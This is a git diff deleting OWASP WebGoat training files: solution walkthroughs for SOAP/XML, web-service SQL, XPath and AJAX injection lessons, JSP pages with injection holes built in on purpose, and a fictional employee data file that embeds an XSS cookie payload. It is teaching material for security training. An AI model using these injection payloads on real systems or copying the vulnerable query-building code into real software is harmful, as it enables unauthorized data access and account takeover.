 

- -
<?xml version='1.0' encoding='UTF-8'?>
<wsns0:Envelope
  xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
  xmlns:xsd='http://www.w3.org/2001/XMLSchema'
  xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'
  xmlns:wsns1='http://lessons.webgoat.owasp.org'>
  <wsns0:Body>
    <wsns1:changePassword>
      <id xsi:type='xsd:int'>101</id>
      <password xsi:type='xsd:string'>[password]</password>
    </wsns1:changePassword>
  </wsns0:Body>
</wsns0:Envelope>
- -

 

- -

SAX parsers will parse anything that -is well-formed, meaning that there are matching end and close tags and that the -schema is correct. When you are able to add a new changePAssword element with -corresponding id tag and password tag, the SAX parser will be more than happy -to change the password for the user-ID provided.

- -

So you need to have something like -this as a final result:

- -

 

- -

<?xml version='1.0' -encoding='UTF-8'?>

- -

<wsns0:Envelope

- -

  -xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'

- -

  -xmlns:xsd='http://www.w3.org/2001/XMLSchema'

- -

  -xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'

- -

  -xmlns:wsns1='http://lessons.webgoat.owasp.org'>

- -

  -<wsns0:Body>

- -

    -<wsns1:changePassword>

- -

      -<id xsi:type='xsd:int'>101</id>

- -

      -<password xsi:type='xsd:string'>[password]</password>

- -

    -</wsns1:changePassword>

- -

    -<wsns1:changePassword>

- -

      -<id xsi:type='xsd:int'>102</id>

- -

      -<password xsi:type='xsd:string'>notforyoutoknow</password>

- -

    -</wsns1:changePassword>

- -

  -</wsns0:Body>

- -

</wsns0:Envelope>

- -

 

- -

This requires to inject:

- -

newpassword</password>

- -

    -</wsns1:changePassword>

- -

    -<wsns1:changePassword>

- -

      -<id xsi:type='xsd:int'>102</id>

- -

      -<password xsi:type='xsd:string'>notforyoutoknow

- -

 

- -

There are field-limitations in the -HTML input field, so it is required to intercept the HTTP Request with -WebScarab and replace the parameter password with the payload.

- -

 

- -

Enter a password 'test' and click -"Go!".

- -

- -

Figure -113 Reset password with test

- -

 

- -

Intercept the request in WebScarab and -replace the string test with the payload.

- -

 

- -

- -

Figure -114 Intercept request

- -

 

- -

- -

Figure -115 Inject XML payload

- -

 

- -

- -

Figure -116 Lesson completed

- -

 

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/WsSqlInjection.html b/src/main/webapp/lesson_solutions_1/WsSqlInjection.html deleted file mode 100644 index c9423fcdc..000000000 --- a/src/main/webapp/lesson_solutions_1/WsSqlInjection.html +++ /dev/null @@ -1,767 +0,0 @@ - - - - - - - -Solution: Web Service SQL Injection - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Perform Web Service SQL Injection

- -

 

- -

Concept / -Topic To Teach:

- -

Web -Services communicate through the use of SOAP requests. These requests are -submitted to a web service in an attempt to execute a function defined in the -web service definition language (WSDL) file.

- -

 

- -

General -Goal(s):

- -

Check the web -service description language (WSDL) file and try to obtain multiple customer -credit card numbers. You will not see the results returned to this screen. When -you believe you have suceeded, refresh the page and look for the 'green star'.

- -

Solution:

- -

 

- -

This lesson -can be solved easily by using a web services tool called SOAPUI. But here you -will only use WebScarab. Go in WebScarab to the tab "Web Services". You will -see a history of invoked web services or WSDL files.

- -

 

- -

- -

Figure 1 Lesson 23

- -

 

- -

Open the -WebGoat WSDL file for this lesson (WsSqlInjection?WSDL) in a new window.

- -

 

- -

In WebScarab -you can select this WSDL from the top drop-down box. And WebScarab will parse -the XML file so you can select the operations to invoke. Then you can enter a -value for the parameters used to invoke the operation. For example fill out the -integer 101 for the ID value and click "Execute". WebScarab will pop-up a basic -authentication window. Enter username:guest, password:guest and host:localhost then click "Ok". -If the pop-up does not appear you have to go to "Tools" > "Credentials". There you should activate "Ask when required".

- -

 

- -

- -

Figure 2 Basic authentication

- -

 

- -

- -

Figure 3 Webservice Response

- -

 

- -

What happens -if you change 101 to 1 OR 1=1? Will you get all the credit cards?

- -

Yes J

- -

 

- -

- -

Figure 4 All the credit cards

- -

 

- -

Remark: when you don't get any responses you -might want to select the service and operation again from the drop-down box. A nice -feature here would be the ability to make a raw SOAP request.

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/XMLInjection.html b/src/main/webapp/lesson_solutions_1/XMLInjection.html deleted file mode 100644 index 6bfd82437..000000000 --- a/src/main/webapp/lesson_solutions_1/XMLInjection.html +++ /dev/null @@ -1,862 +0,0 @@ - - - - - - - -Solution: XML Injection - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Perform XML Injection Attacks.

- -

 

- -

Concept / -Topic To Teach:

- -

This lesson -teaches how to perform XML Injection attacks.

- -

 

- -

How the -attacks works:   

- -

AJAX applications -use XML to exchange information with the server. This XML can be easily -intercepted and altered by a malicious attacker.

- -

 

- -

General -Goal(s):

- -

WebGoat-Miles -Reward Miles shows all the rewards available. Once you've entered your account -ID, the lesson will show you your balance and the products you can afford. Your -goal is to try to add more rewards to your allowed set of rewards. Your account -ID is 836239.

- -

 

- -

- -

Figure 1 AJAX Security - XML Injection

- -

 

- -

Solution:

- -

 

- -

To understand -the behavior of the AJAX application, enter your account number 836239 and -intercept the HTTP Request and HTTP Response using WebScarab.

- -

 

- -

- -

Figure 2 Enter account number

- -

 

- -

- -

Figure 3 Intercepted HTTP Request

- -

 

- -

- -

Figure 4 Intercepted HTTP Response

- -

 

- -

From the HTTP Response you can see that you get back an XML -message with the rewards for your account:

- -

 

- -

<root>

- -

<reward>WebGoat t-shirt 20 Pts</reward>

- -

<reward>WebGoat Secure Kettle 50 Pts</reward>

- -

<reward>WebGoat Mug 30 Pts</reward>

- -

</root>

- -

 

- -

What happens if you intercept this HTTP Response and update -the XML message to become:

- -

 

- -

<root>

- -

<reward>WebGoat t-shirt 20 Pts</reward>

- -

<reward>WebGoat Secure Kettle 50 Pts</reward>

- -

<reward>WebGoat Mug 30 Pts</reward>

- -

<reward>WebGoat Core Duo Laptop 2000 -Pts</reward>

- -

<reward>WebGoat Hawaii Cruise 3000 Pts</reward>

- -

</root>

- -

 

- -

- -

Figure 5 Changed XML response

- -

 

- -

You need to -do this three times!

- -

 

- -

- -

Figure 6 Injected XML results

- -

 

- -

- -

Figure 7 Select your reward

- -

 

- -

Select the -Laptop and the Cruise and click "Submit".

- -

 

- -

- -

Figure 8 Lesson completed

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/XPATHInjection.html b/src/main/webapp/lesson_solutions_1/XPATHInjection.html deleted file mode 100644 index 09208cf6d..000000000 --- a/src/main/webapp/lesson_solutions_1/XPATHInjection.html +++ /dev/null @@ -1,788 +0,0 @@ - - - - - - - -Solution: XPATH Injection - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Perform XPATH Injection Attacks.

- -

 

- -

Concept / -Topic To Teach:

- -

This lesson -teaches how to perform XPath Injection attacks.

- -

 

- -

How the -attacks works:

- -

Similar to SQL -Injection, XPATH Injection attacks occur when a web site uses user supplied -information to query XML data. By sending intentionally malformed information -into the web site, an attacker can find out how the XML data is structured or -access data that they may not normally have access to. They may even be able to -elevate their privileges on the web site if the xml data is being used for -authentication (such as an xml based user file). Querying XML is done with -XPath, a type of simple descriptive statement that allows the xml query to -locate a piece of information. Like SQL you can specify certain attributes to -find and patterns to match. When using XML for a web site it is common to -accept some form of input on the query string to identify the content to locate -and display on the page. This input must be sanitized to verify that it doesn't -mess up the XPath query and return the wrong data.

- -

 

- -

General -Goal(s):

- -

The -form below allows employees to see all their personal data including their -salaries. Your account is Mike/test123. Your goal is to try to see other -employees data as well.

- -

 

- -

- -

Figure 1 XPath Injection

- -

 

- -

XPath injection is similar to SQL Injection. Input is not validated and -used to create a XPath query. Here you can see how the XPATH query is built:

- -String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");
-File d = new File(dir);
-XPathFactory factory = XPathFactory.newInstance();
-XPath xPath = factory.newXPath();
-InputSource inputSource = new InputSource(new FileInputStream(d));
-String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password + "']";
-nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);

-
-

- -

 

- -

- -

Figure 2 Inject XPath payload

-

 

-

-Injecting Smith' or 1=1 or 'a'='a will log you on -as the first user defined in the system. Password is a required field, so there -you can enter whatever you want.

-This is what the server gets:
-expression = "/employees/employee[loginID/text()='Smith' or 1=1 or 'a'='a' and passwd/text()='password']"

-And this is how the server interprets it:
-expression = "/employees/employee[ ( loginID/text()='Smith' or 1=1 ) OR ( 'a'='a' and passwd/text()='password' ) ]"
-

-

 

-

- -

Figure 3 Lesson completed

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/formate.css b/src/main/webapp/lesson_solutions_1/formate.css deleted file mode 100644 index be54b8cca..000000000 --- a/src/main/webapp/lesson_solutions_1/formate.css +++ /dev/null @@ -1,2 +0,0 @@ -* { font-family:"Arial","sans-serif"; } -code { font-family:"Courier New"; font-size:10pt; } \ No newline at end of file diff --git a/src/main/webapp/lessons/Ajax/clientSideFiltering.jsp b/src/main/webapp/lessons/Ajax/clientSideFiltering.jsp deleted file mode 100644 index 178b75d3c..000000000 --- a/src/main/webapp/lessons/Ajax/clientSideFiltering.jsp +++ /dev/null @@ -1,114 +0,0 @@ - -<%@ page language="java" contentType="text/html; charset=ISO-8859-1" - pageEncoding="ISO-8859-1"%> - -<%@ page import="java.io.*, javax.xml.xpath.*, org.xml.sax.InputSource,org.w3c.dom.*,org.apache.ecs.html.* " %> - -<% - - String userId = request.getParameter("userId"); - - - NodeList nodes = null; - - - - File d = new File(this.getServletContext().getRealPath("lessons/Ajax/employees.xml")); - - if(d.exists()){ - System.out.print("File does exist"); - } - else{ - System.out.print("File DOES NOT exist"); - } - - System.out.println(d.getAbsolutePath()); - XPathFactory factory = XPathFactory.newInstance(); - XPath xPath = factory.newXPath(); - InputSource inputSource = new InputSource(new FileInputStream(d)); - - - - - - - StringBuffer sb = new StringBuffer(); - - sb.append("/Employees/Employee/UserID | "); - sb.append("/Employees/Employee/FirstName | "); - sb.append("/Employees/Employee/LastName | "); - sb.append("/Employees/Employee/SSN | "); - sb.append("/Employees/Employee/Salary "); - - String expression = sb.toString(); - - - System.out.print("expression:" + expression); - - - - nodes = (NodeList) xPath.evaluate(expression, inputSource, - XPathConstants.NODESET); - int nodesLength = nodes.getLength(); - - - System.out.println("nodesLength:" + nodesLength); - - TR tr; - - int COLUMNS = 5; - - Table t2 = null; - if (nodesLength > 0) - { - t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder( - 1).setWidth("90%").setAlign("center"); - tr = new TR(); - tr.addElement(new TD().addElement("UserID")); - tr.addElement(new TD().addElement("First Name")); - tr.addElement(new TD().addElement("Last Name")); - tr.addElement(new TD().addElement("SSN")); - tr.addElement(new TD().addElement("Salary")); - t2.addElement(tr); - } - - - - tr = new TR(); - - for (int i = 0; i < nodesLength; i++) - { - Node node = nodes.item(i); - - if(i%COLUMNS==0){ - tr = new TR(); - tr.setID(node.getTextContent()); - //tr.setStyle("display: none"); - } - - tr.addElement(new TD().addElement(node.getTextContent())); - - if(i%COLUMNS==(COLUMNS-1)){ - t2.addElement(tr); - } - } - - if(t2 != null){ - out.println(t2.toString()); - } - else{ - out.println("No Results"); - } - - - - - - - - - - - -%> - diff --git a/src/main/webapp/lessons/Ajax/clientSideFiltering_backup.jsp b/src/main/webapp/lessons/Ajax/clientSideFiltering_backup.jsp deleted file mode 100644 index f8181cb0b..000000000 --- a/src/main/webapp/lessons/Ajax/clientSideFiltering_backup.jsp +++ /dev/null @@ -1,114 +0,0 @@ - -<%@ page language="java" contentType="text/html; charset=ISO-8859-1" - pageEncoding="ISO-8859-1"%> - -<%@ page import="java.io.*, javax.xml.xpath.*, org.xml.sax.InputSource,org.w3c.dom.*,org.apache.ecs.html.* " %> - -<% - - String userId = request.getParameter("userID"); - - - NodeList nodes = null; - - - - File d = new File(this.getServletContext().getRealPath("lessons/Ajax/employees.xml")); - - if(d.exists()){ - System.out.print("File does exist"); - } - else{ - System.out.print("File DOES NOT exist"); - } - - System.out.println(d.getAbsolutePath()); - XPathFactory factory = XPathFactory.newInstance(); - XPath xPath = factory.newXPath(); - InputSource inputSource = new InputSource(new FileInputStream(d)); - - - - - - - StringBuffer sb = new StringBuffer(); - - sb.append("/Employees/Employee/UserID | "); - sb.append("/Employees/Employee/FirstName | "); - sb.append("/Employees/Employee/LastName | "); - sb.append("/Employees/Employee/SSN | "); - sb.append("/Employees/Employee/Salary "); - - String expression = sb.toString(); - - - System.out.print("expression:" + expression); - - - - nodes = (NodeList) xPath.evaluate(expression, inputSource, - XPathConstants.NODESET); - int nodesLength = nodes.getLength(); - - - System.out.println("nodesLength:" + nodesLength); - - TR tr; - - int COLUMNS = 5; - - Table t2 = null; - if (nodesLength > 0) - { - t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder( - 1).setWidth("90%").setAlign("center"); - tr = new TR(); - tr.addElement(new TD().addElement("UserID")); - tr.addElement(new TD().addElement("First Name")); - tr.addElement(new TD().addElement("Last Name")); - tr.addElement(new TD().addElement("SSN")); - tr.addElement(new TD().addElement("Salary")); - t2.addElement(tr); - } - - - - tr = new TR(); - - for (int i = 0; i < nodesLength; i++) - { - Node node = nodes.item(i); - - if(i%COLUMNS==0){ - tr = new TR(); - tr.setID(node.getTextContent()); - //tr.setStyle("display: none"); - } - - tr.addElement(new TD().addElement(node.getTextContent())); - - if(i%COLUMNS==(COLUMNS-1)){ - t2.addElement(tr); - } - } - - if(t2 != null){ - out.println(t2.toString()); - } - else{ - out.println("No Results"); - } - - - - - - - - - - - -%> - diff --git a/src/main/webapp/lessons/Ajax/clientSideValidation.jsp b/src/main/webapp/lessons/Ajax/clientSideValidation.jsp deleted file mode 100644 index a035833c3..000000000 --- a/src/main/webapp/lessons/Ajax/clientSideValidation.jsp +++ /dev/null @@ -1,30 +0,0 @@ -<%@ page language="java" contentType="text/html; charset=ISO-8859-1" - pageEncoding="ISO-8859-1"%> - - - -<% String coupon = request.getParameter("coupon"); - -if (coupon.equalsIgnoreCase("PLATINUM")){ - out.print(".25"); -} -else if (coupon.equalsIgnoreCase("GOLD")){ - out.print(".5"); -} -else if (coupon.equalsIgnoreCase("SILVER")){ - out.print(".75"); -} -else if (coupon.equalsIgnoreCase("BRONZE")){ - out.print(".8"); -} -else if (coupon.equalsIgnoreCase("PRESSONE")){ - out.print(".9"); -} -else if (coupon.equalsIgnoreCase("PRESSTWO")){ - out.print(".95"); -} - - - -%> - diff --git a/src/main/webapp/lessons/Ajax/employees.xml b/src/main/webapp/lessons/Ajax/employees.xml deleted file mode 100644 index 8e0df8fcc..000000000 --- a/src/main/webapp/lessons/Ajax/employees.xml +++ /dev/null @@ -1,254 +0,0 @@ - - - - 101 - Larry - Stooge - 9175 Guilford Rd - New York, NY - 443-689-0192 - 1012000 - 386-09-5451 - 55000 - 2578546969853547 - 5000 - Does not work well with others - Constantly harassing coworkers - 10106 - - 102 - 111 - 112 - - - - 102 - Moe - Stooge - 3013 AMD Ave - New York, NY - 443-938-5301 - 3082003 - 936-18-4524 - 140000 - NA - 0 - Very dominating over Larry and Curly - Hit Curly over head - 101013 - - 112 - - - - 103 - Curly - Stooge - 1112 Crusoe Lane - New York, NY - 410-667-6654 - 2122001 - 961-08-0047 - 50000 - NA - 0 - Owes three-thousand to company for fradulent purchases - Hit Moe back - 101014 - - 102 - 111 - 112 - - - - 104 - Eric - Walker - 1160 Prescott Rd - New York, NY - 410-887-1193 - 12152005 - 445-66-5565 - 13000 - NA - 0 - Late. Always needs help. Too intern-ish. - Bothering Larry about webgoat problems - 101013 - - 107 - 102 - 111 - 112 - - - - 105 - Tom - Cat - 2211 HyperThread Rd. - New York, NY - 443-599-0762 - 1011999 - 792-14-6364 - 80000 - 5481360857968521 - 30000 - Co-Owner. - NA - 0 - - 106 - 102 - 111 - 112 - - - - 106 - Jerry - Mouse - 3011 Unix Drive - New York, NY - 443-699-3366 - 1011999 - 858-55-4452 - 70000 - 6981754825013564 - 20000 - Co-Owner. - NA - 0 - - 102 - 111 - 112 - - - - 107 - David - Giambi - 5132 DIMM Avenue - New York, NY - 610-521-8413 - 5011999 - 439-20-9405 - 100000 - 6981754825018101 - 10000 - Strong work habbit. Questionable ethics. - Hacked into accounting server. Modified personal pay. - 61402 - - 102 - 111 - 112 - - - - 108 - Bruce - McGuirre - 8899 FreeBSD Drive<script>alert(document.cookie)</script> - New York, NY - 610-282-1103 - 3012000 - 707-95-9482 - 110000 - 6981754825854136 - 30000 - Enjoys watching others struggle in exercises. - Tortuous Boot Camp workout at 5am. Employees felt sick. - 61502 - - 107 - 102 - 111 - 112 - - - - 109 - Sean - Livingston - 6422 dFlyBSD Road - New York, NY - 610-878-9549 - 6012003 - 136-55-1046 - 130000 - 6981754825014510 - 5000 - Has some fascination with Steelers. Go Ravens. - Late to work 30 days in row due to excessive Halo 2 - 72804 - - 107 - 102 - 111 - 112 - - - - 110 - Joanne - McDougal - 5567 Broadband Lane - New York, NY - 610-213-6341 - 1012001 - 789-54-2413 - 90000 - 6981754825081054 - 300 - Finds it necessary to leave early every day. - Used company cc to purchase new car. Limit adjusted. - 112005 - - 106 - 102 - 111 - 112 - - - - 111 - John - Wayne - 129 Third St - New York, NY - 610-213-1134 - 1012001 - 129-69-4572 - 200000 - 4437334565679921 - 300 - - - 112005 - - 112 - - - - 112 - Neville - Bartholomew - 1 Corporate Headquarters - San Jose, CA - 408-587-0024 - 3012000 - 111-111-1111 - 450000 - 4803389267684109 - 300 - - - 112005 - - 112 - - - diff --git a/src/main/webapp/lessons/Ajax/eval.jsp b/src/main/webapp/lessons/Ajax/eval.jsp deleted file mode 100644 index f288f7637..000000000 --- a/src/main/webapp/lessons/Ajax/eval.jsp +++ /dev/null @@ -1,38 +0,0 @@ -<%@ page language="java" contentType="text/html; charset=ISO-8859-1" import="java.util.regex.*" import="org.owasp.webgoat.lessons.DangerousEval" - pageEncoding="ISO-8859-1"%> -<% -String action = request.getParameter("action"); -String field1 = request.getParameter("field1"); -String field2 = request.getParameter("field2"); -String regex1 = "^[0-9]{3}$";// any three digits -Pattern pattern1 = Pattern.compile(regex1); - -if(action == null) action = "Purchase"; -if(field1 == null) field1 = "123"; -if(field2 == null) field2 = "-1"; - -/** For security reasons, we remove all '<' and '>' characters to prevent XSS **/ -// Thank you Victor Bucutea for noticing replaceAll only cleans taint to the return value. -field1 = field1.replaceAll("<", ""); -field1 = field1.replaceAll(">", ""); -field2 = field2.replaceAll("<", ""); -field2 = field2.replaceAll(">", ""); - -if("Purchase".equals(action)) -{ - if(!pattern1.matcher(field1).matches()) - { - /** If they supplied the right attack, pass them **/ - if(field1.indexOf("');") != -1 && field1.indexOf("alert") != -1 && field1.indexOf("document.cookie") != -1) - { - session.setAttribute(DangerousEval.PASSED, "true"); - } - - out.write("alert('Whoops: You entered an incorrect access code of \"" + field1 + "\"');"); - } - else - { - out.write("alert('Purchase completed successfully with credit card \"" + field2 + "\" and access code \"" + field1 + "\"');"); - } -} -%> diff --git a/src/main/webapp/lessons/Ajax/images/lesson1_header.jpg b/src/main/webapp/lessons/Ajax/images/lesson1_header.jpg deleted file mode 100644 index 60a809af0..000000000 Binary files a/src/main/webapp/lessons/Ajax/images/lesson1_header.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/Ajax/images/lesson1_workspace.jpg b/src/main/webapp/lessons/Ajax/images/lesson1_workspace.jpg deleted file mode 100644 index 292d25654..000000000 Binary files a/src/main/webapp/lessons/Ajax/images/lesson1_workspace.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/Ajax/instructor/clientSideFiltering_i.jsp b/src/main/webapp/lessons/Ajax/instructor/clientSideFiltering_i.jsp deleted file mode 100644 index e6217ecb6..000000000 --- a/src/main/webapp/lessons/Ajax/instructor/clientSideFiltering_i.jsp +++ /dev/null @@ -1,111 +0,0 @@ - -<%@ page language="java" contentType="text/html; charset=ISO-8859-1" - pageEncoding="ISO-8859-1"%> - -<%@ page import="java.io.*, javax.xml.xpath.*, org.xml.sax.InputSource,org.w3c.dom.*,org.apache.ecs.html.* " %> - -<% - -String userId = request.getParameter("userId"); - - - NodeList nodes = null; - - - - File d = new File(this.getServletContext().getRealPath("lessons/Ajax/employees.xml")); - - if(d.exists()){ - System.out.print("File does exist"); - } - else{ - System.out.print("File DOES NOT exist"); - } - - System.out.println(d.getAbsolutePath()); - XPathFactory factory = XPathFactory.newInstance(); - XPath xPath = factory.newXPath(); - InputSource inputSource = new InputSource(new FileInputStream(d)); - - - StringBuffer sb = new StringBuffer(); - - sb.append("/Employees/Employee [Managers/Manager/text()='" + userId + "']/UserID | "); - sb.append("/Employees/Employee [Managers/Manager/text()='" + userId + "']/FirstName | "); - sb.append("/Employees/Employee [Managers/Manager/text()='" + userId + "']/LastName | "); - sb.append("/Employees/Employee [Managers/Manager/text()='" + userId + "']/SSN | "); - sb.append("/Employees/Employee [Managers/Manager/text()='" + userId + "']/Salary "); - - String expression = sb.toString(); - - System.out.print("expression:" + expression); - - - - - - nodes = (NodeList) xPath.evaluate(expression, inputSource, - XPathConstants.NODESET); - int nodesLength = nodes.getLength(); - - - System.out.println("nodesLength:" + nodesLength); - - TR tr; - - int COLUMNS = 5; - - Table t2 = null; - if (nodesLength > 0) - { - t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder( - 1).setWidth("90%").setAlign("center"); - tr = new TR(); - tr.addElement(new TD().addElement("UserID")); - tr.addElement(new TD().addElement("First Name")); - tr.addElement(new TD().addElement("Last Name")); - tr.addElement(new TD().addElement("SSN")); - tr.addElement(new TD().addElement("Salary")); - t2.addElement(tr); - } - - - - tr = new TR(); - - for (int i = 0; i < nodesLength; i++) - { - Node node = nodes.item(i); - - if(i%COLUMNS==0){ - tr = new TR(); - tr.setID(node.getTextContent()); - //tr.setStyle("display: none"); - } - - tr.addElement(new TD().addElement(node.getTextContent())); - - if(i%COLUMNS==(COLUMNS-1)){ - t2.addElement(tr); - } - } - - if(t2 != null){ - out.println(t2.toString()); - } - else{ - out.println("No Results"); - } - - - - - - - - - - - -%> - diff --git a/src/main/webapp/lessons/Ajax/sameOrigin.jsp b/src/main/webapp/lessons/Ajax/sameOrigin.jsp deleted file mode 100644 index 26e652898..000000000 --- a/src/main/webapp/lessons/Ajax/sameOrigin.jsp +++ /dev/null @@ -1 +0,0 @@ -Good Response \ No newline at end of file diff --git a/src/main/webapp/lessons/ConfManagement/config.jsp b/src/main/webapp/lessons/ConfManagement/config.jsp deleted file mode 100644 index 7abe1430f..000000000 --- a/src/main/webapp/lessons/ConfManagement/config.jsp +++ /dev/null @@ -1,19 +0,0 @@ -<%@ page language="java" contentType="text/html; charset=ISO-8859-1" - pageEncoding="ISO-8859-1"%> -<%@page import="org.owasp.webgoat.session.WebSession"%> -<% -WebSession webSession = ((WebSession)session.getAttribute("websession")); -%> - - - - -Configuration Page - - -<% response.sendRedirect(webSession.getCurrentLesson().getLink() + - "&succeeded=yes"); -%> - - - \ No newline at end of file diff --git a/src/main/webapp/lessons/CrossSiteScripting/CrossSiteScripting.css b/src/main/webapp/lessons/CrossSiteScripting/CrossSiteScripting.css deleted file mode 100644 index fad6880ad..000000000 --- a/src/main/webapp/lessons/CrossSiteScripting/CrossSiteScripting.css +++ /dev/null @@ -1,14 +0,0 @@ -#lesson_wrapper {height: 435px;width: 500px;} -#lesson_header {background-image: url(lessons/CrossSiteScripting/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;} -.lesson_workspace {background-image: url(lessons/CrossSiteScripting/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} -.lesson_text {height: 240px;width: 460px;padding-top: 5px;} -#lesson_buttons_bottom {height: 20px;width: 460px;} -#lesson_b_b_left {width: 300px;float: left;} -#lesson_b_b_right input {width: 100px;float: right;} -.lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} -.lesson_workspace { } -.lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} -.lesson_text_db {color: #0066FF} -#lesson_login {background-image: url(lessons/CrossSiteScripting/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} -#lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} -#lesson_search {background-image: url(lessons/CrossSiteScripting/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} diff --git a/src/main/webapp/lessons/CrossSiteScripting/CrossSiteScripting.jsp b/src/main/webapp/lessons/CrossSiteScripting/CrossSiteScripting.jsp deleted file mode 100644 index a571c370c..000000000 --- a/src/main/webapp/lessons/CrossSiteScripting/CrossSiteScripting.jsp +++ /dev/null @@ -1,26 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting" - errorPage="" %> - -<% -WebSession webSession = ((WebSession)session.getAttribute("websession")); -CrossSiteScripting currentLesson = (CrossSiteScripting) webSession.getCurrentLesson(); -%> -
-
-
- <% - String subViewPage = currentLesson.getPage(webSession); - if (subViewPage != null) - { - //System.out.println("Including sub view page: " + subViewPage); - %> - - <% - } - %> - -
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/CrossSiteScripting/EditProfile.jsp b/src/main/webapp/lessons/CrossSiteScripting/EditProfile.jsp deleted file mode 100644 index 13952f612..000000000 --- a/src/main/webapp/lessons/CrossSiteScripting/EditProfile.jsp +++ /dev/null @@ -1,134 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - Employee employee = (Employee) session.getAttribute("CrossSiteScripting.Employee"); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%>
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- First Name: - - - - Last Name: - - -
- Street: - - - - City/State: - - -
- Phone: - - - - Start Date: - - -
- SSN: - - - - Salary: - - -
- Credit Card: - - - - Credit Card Limit: - - -
- Comments: - - - - Manager: - - -
- Disciplinary Explanation: - - - - Disciplinary Action Dates: - - -
-
-
- - - - - - - - -
- - - - - - - -
-
-
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/CrossSiteScripting/ListStaff.jsp b/src/main/webapp/lessons/CrossSiteScripting/ListStaff.jsp deleted file mode 100644 index 4f7acd643..000000000 --- a/src/main/webapp/lessons/CrossSiteScripting/ListStaff.jsp +++ /dev/null @@ -1,56 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - int myUserId = webSession.getUserIdInLesson(); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%> - Staff Listing Page
-
-
-
-

Select from the list below

-
- - - - - -
-
-
- <% - if (webSession.isAuthorizedInLesson(myUserId, CrossSiteScripting.CREATEPROFILE_ACTION)) - { - %> -
- <% - } - %> - <% - if (webSession.isAuthorizedInLesson(myUserId, CrossSiteScripting.DELETEPROFILE_ACTION)) - { - %> -
- <% - } - %> -
- -
- -
- diff --git a/src/main/webapp/lessons/CrossSiteScripting/Login.jsp b/src/main/webapp/lessons/CrossSiteScripting/Login.jsp deleted file mode 100644 index 4479289e9..000000000 --- a/src/main/webapp/lessons/CrossSiteScripting/Login.jsp +++ /dev/null @@ -1,32 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting" - errorPage="" %> -
-
- <% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - %> -
- -
- -
- -
-
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/CrossSiteScripting/SearchStaff.jsp b/src/main/webapp/lessons/CrossSiteScripting/SearchStaff.jsp deleted file mode 100644 index 4e1f6885c..000000000 --- a/src/main/webapp/lessons/CrossSiteScripting/SearchStaff.jsp +++ /dev/null @@ -1,22 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting" - errorPage="" %> - \ No newline at end of file diff --git a/src/main/webapp/lessons/CrossSiteScripting/ViewProfile.jsp b/src/main/webapp/lessons/CrossSiteScripting/ViewProfile.jsp deleted file mode 100644 index 46822d95e..000000000 --- a/src/main/webapp/lessons/CrossSiteScripting/ViewProfile.jsp +++ /dev/null @@ -1,160 +0,0 @@ - -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting" errorPage="" %> -<% -WebSession webSession = ((WebSession)session.getAttribute("websession")); - Employee employee = (Employee) session.getAttribute("CrossSiteScripting." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY); - CrossSiteScripting lesson = (CrossSiteScripting) 